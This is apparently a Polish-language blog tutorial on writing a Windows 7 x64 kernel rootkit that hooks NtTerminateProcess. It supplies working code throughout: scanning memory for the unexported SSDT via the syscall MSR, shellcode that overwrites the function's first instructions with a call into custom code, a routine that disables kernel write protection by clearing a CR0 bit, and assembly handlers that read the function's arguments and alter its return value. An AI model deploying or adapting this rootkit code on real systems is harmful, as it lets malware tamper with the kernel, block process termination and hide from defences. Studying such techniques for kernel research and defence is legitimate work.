Patchowanie Jądra Windows


Spis treści:



Wstęp

Do zajęcia się tym tematem zainspirowała mnie chęć kontroli przepływu funkcji Windows Native API. Aktualnie możliwość modyfikowania struktur kernela jest ograniczona przez PatchGuard (Kernel Patch Protection).

Rzecz jasna PatchGuard różni się w zależności od wersji systemu Windows. W tym wypadku rootkit został przetestowany na systemie Windows 7. Kod źródłowy jest dostępny w repozytorium https://github.com/Techniczniej/P4tch3r.


Pozyskiwanie adresu funkcji Nt

Sposób pozyskiwania adresów funkcji Nt nie zmienił się. Problem pojawia się przy architekturze x64, w której adres KeServiceDescriptorTable nie jest eksportowany, przez co należy stworzyć jego strukturę, oraz przeszukać pamięć.

Adres bazowy SSDT (System Service Descriptor Table) znajduje się na pierwszym miejscu w strukturze SDT.

ULONGLONG GetKeServiceDescriptorTableAddr()
{
    PUCHAR s_search = (PUCHAR)__readmsr(0xC0000082); // kernel's rip for syscall (long mode)
    PUCHAR last_search_addr = s_search + 0x500;
    PUCHAR i = NULL;
    UCHAR b1 = 0, b2 = 0, b3 = 0;
    ULONGLONG templong = 0;
    ULONGLONG addr = 0;
    for (i = s_search; i < last_search_addr; i++)
    {
        if (MmIsAddressValid(i) && MmIsAddressValid(i + 1) && MmIsAddressValid(i + 2))
        {
            b1 = *(i);
            b2 = *(i + 1);
            b3 = *(i + 2);
            if (b1 == 0x4c && b2 == 0x8d && b3 == 0x15)
            {
                memcpy(&templong, i + 3, 4);
                addr = (ULONGLONG)templong + (ULONGLONG)i + 7;
                break;
            }
        }
    }
    return addr;
}
KeServiceDescriptorTable = (PSYSTEM_SERVICE_TABLE)GetKeServiceDescriptorTableAddr();

NtTerminateAddr = GetSSDTFunction(41);

Uwaga

Jeśli wiele rzeczy tutaj jest dla ciebie niezrozumiałych, zainteresuj się książką Assembler x86 - Programowanie i Podstawy Systemów Operacyjnych. Aktualnie trwa na nią promocja -43%.


Nadpisywanie funkcji

Mając już adres funkcji NtTerminateProcess można przystąpić do nadpisywania pierwszych instrukcji. Testowałem tutaj kilka możliwości, z czego wybrałem odwołanie się do rejestru z adresem funkcji.

mov rax, fffff880aaaaaaaah
call rax

Oczywiście przenosząc do rejestru adres o rozmiarze 64bit (unsigned long long) zostanie nadpisana więcej, niż jedna instrukcja. Na szczęście żadna instrukcja nie została nadpisana w połowie, zatem obyło się bez nop’ów.

Następnie należy odpowiednio przygotować shellcode, wartości 0x41 między komentarzami to miejsce, w którym należy umieścić pobrany adres funkcji, do której odwoła się NtTerminateProcess. UCHAR nt_payload[] = { 0x48, 0xB8, /*0x41 - calling address*/0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41/**/, 0xff, 0xd0 };

VOID Patch(ULONGLONG nt_addr, ULONGLONG func_addr)
{
    int addr_c = 0;
    for (int j = 2; j <= 9; j++)
    {
        nt_payload[j] = BYTE((unsigned long long)func_addr, addr_c);
        addr_c++;
    }
    MemProtCpy((PVOID)nt_addr, nt_payload, sizeof(nt_payload));
}

BYTE(num, b) w pętli wykonuje przesunięcie bitowe na argumencie w celu dodania adresu do shellcode’u bajt po bajcie. define BYTE(num, b) (((num) >> b * 8) & 0xff)

Pozostało tylko wyłączyć ochronę pamięci przez zapisanie zerem 16-tego bitu w rejestrze cr0, co umożliwi zapisywanie do stron oznaczonych jako tylko do odczytu i skopiować shellcode do funkcji. KIRQL WriteProtectOFF(void) { KIRQL irql = KeRaiseIrqlToDpcLevel(); UINT64 cr0 = __readcr0(); cr0 &= 0xfffffffffffeffff; __writecr0(cr0); _disable(); return irql; }

Dzięki temu mamy już adres powrotu na stosie, który warto z niego zdjąć i przechować w rejestrze r15, ponieważ będzie on kolidować z wartościami które umieszczą oryginalne instrukcje funkcji na stosie. pop r15


Pozyskiwanie argumentów funkcji

EDIT: Oczywiście że te badania były zbędne, konwencja wywołań została dokładnie opisana w dokumentacji. func1(int a, int b, int c, int d, int e, int f); // a in RCX, b in RDX, c in R8, d in R9, f then e pushed on stack

Poszukiwania rozpocząłem od stworzenia programu w C który wywołuje funkcję TerminateProcess, jak się później okazało wartości rejestrów, oraz stosu są różne od tego co zaobserwowałem zamykając inne programy, ponieważ nie często zdarza się aby jakiś program miał exit code nie równy zeru.

Zatem postanowiłem dokładnie prześledzić co się zwykle dzieje po zamknięciu programu z GUI (posłużyłem się Process Hackerem). Funkcja NtTerminateProcess przyjmuje 2 argumenty, Handle i exit code.

Jak się okazuje argument zawierający exit code znajduje się w rejestrze RDX.

Wykonałem kod z RDX o wartości 0xABCD, co pokryło się z debug logiem rootkitu który wypisywał wartosć rejestru RDX i 0xaaaa na początku funkcji NtTerminateProcess.

Zatem przejdźmy do argumentu typu Handle. Handle to alias na void*.

Jako ciekawostkę podam że po wywołaniu RtlReportSilentProcessExit w NtTerminateProcess okno programu zniknęło, lecz nadal pozostaje na liście działających procesów.

Funkcja NtTerminateProcess wywołuje się dwukrotnie. Za drugim razem RCX jest równy 0xFFFFFFFFFFFFFFFF (-1). Co wskazuje na aktualnie wykonywany proces.

Podsumowując pierwszy argument (Handle hProcess) znajduje się w rejestrze RCX, drugi argument (UINT uExitCode) jest przechowywany w RDX.

a_handle PROC PUBLIC

sub rsp, 112h

push rax
push rbx
push rsi
push rdi
push rcx
push rdx
push r8
push r9
push r10
push r11
push r12
push r13
push r14

; rcx = handle
; rdx = exit code
call Handler

pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdx
pop rcx
pop rdi
pop rsi
pop rbx
pop rax

add rsp, 112h

pop r15
jmp exit

a_handle ENDP

Przykładowy debug log:

Manipulowanie zwracaną wartością

NtTerminateProcess zwraca wartość NTSTATUS w rejestrze RAX. ``` getret PROC PUBLIC pop r12 mov rbx, qword ptr [rsp+90h] add rsp, 40h push r12 ; mov rax, 00000000C0000008h ret

getret ENDP ```

Odwołanie do swojego kodu przeniosłem 0x151 bajtów od początku funkcji.

ULONGLONG(*test)() = &a_handle;
ULONGLONG(*pgetret)() = &getret;

Patch(NtTerminateAddr, test);
Patch(NtTerminateAddr+0x151, pgetret);

W tym miejscu znalazła się spora instrukcja (mov rbx, qword ptr [rsp+90h]), co ułatwiło sprawę.